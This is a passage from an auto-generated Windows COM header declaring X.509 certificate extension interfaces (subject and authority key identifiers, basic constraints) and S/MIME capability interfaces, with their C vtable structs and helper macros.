Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionBasicConstraints_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionBasicConstraints_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionBasicConstraints_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionBasicConstraints_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionBasicConstraints_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionBasicConstraints_InitializeEncode(This,IsCA,PathLenConstraint)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,IsCA,PathLenConstraint) ) \n\n#define IX509ExtensionBasicConstraints_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionBasicConstraints_get_IsCA(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsCA(This,pValue) ) \n\n#define IX509ExtensionBasicConstraints_get_PathLenConstraint(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PathLenConstraint(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__\n#define __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionSubjectKeyIdentifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionSubjectKeyIdentifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab317-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionSubjectKeyIdentifier : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SubjectKeyIdentifier( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionSubjectKeyIdentifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SubjectKeyIdentifier )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionSubjectKeyIdentifierVtbl;\n\n    interface IX509ExtensionSubjectKeyIdentifier\n    {\n        CONST_VTBL struct IX509ExtensionSubjectKeyIdentifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionSubjectKeyIdentifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_InitializeEncode(This,Encoding,strKeyIdentifier)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strKeyIdentifier) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_SubjectKeyIdentifier(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SubjectKeyIdentifier(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__\n#define __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionAuthorityKeyIdentifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionAuthorityKeyIdentifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab318-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionAuthorityKeyIdentifier : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AuthorityKeyIdentifier( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionAuthorityKeyIdentifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AuthorityKeyIdentifier )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionAuthorityKeyIdentifierVtbl;\n\n    interface IX509ExtensionAuthorityKeyIdentifier\n    {\n        CONST_VTBL struct IX509ExtensionAuthorityKeyIdentifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionAuthorityKeyIdentifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_InitializeEncode(This,Encoding,strKeyIdentifier)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strKeyIdentifier) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_AuthorityKeyIdentifier(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AuthorityKeyIdentifier(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISmimeCapability_INTERFACE_DEFINED__\n#define __ISmimeCapability_INTERFACE_DEFINED__\n\n/* interface ISmimeCapability */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISmimeCapability;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab319-217d-11da-b2a4-000e7bbb2b09\")\n    ISmimeCapability : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ LONG BitCount) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BitCount( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ISmimeCapabilityVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISmimeCapability * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISmimeCapability * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISmimeCapability * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISmimeCapability * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ LONG BitCount);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ISmimeCapability * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BitCount )( \n            __RPC__in ISmimeCapability * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } ISmimeCapabilityVtbl;\n\n    interface ISmimeCapability\n    {\n        CONST_VTBL struct ISmimeCapabilityVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISmimeCapability_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISmimeCapability_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISmimeCapability_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISmimeCapability_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISmimeCapability_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISmimeCapability_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISmimeCapability_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISmimeCapability_Initialize(This,pObjectId,BitCount)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,BitCount) ) \n\n#define ISmimeCapability_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ISmimeCapability_get_BitCount(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_BitCount(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISmimeCapability_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISmimeCapabilities_INTERFACE_DEFINED__\n#define __ISmimeCapabilities_INTERFACE_DEFINED__\n\n/* interface ISmimeCapabilities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISmimeCapabilities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31a-217d-11da-b2a4-000e7bbb2b09\")\n    ISmimeCapabilities : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapability **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ISmimeCapability *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddFromCsp( \n            /* [in] */ __RPC__in_opt ICspInformation *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddAvailableSmimeCapabilities( \n            /* [in] */ VARIANT_BOOL MachineContext) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ISmimeCapabilitiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISmimeCapabilities * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapability **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ISmimeCapability *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddFromCsp )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddAvailableSmimeCapabilities )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ VARIANT_BOOL MachineContext);\n        \n        END_INTERFACE\n    } ISmimeCapabilitiesVtbl;\n\n    interface ISmimeCapabilities\n    {\n        CONST_VTBL struct ISmimeCapabilitiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISmimeCapabilities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISmimeCapabilities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISmimeCapabilities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISmimeCapabilities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define 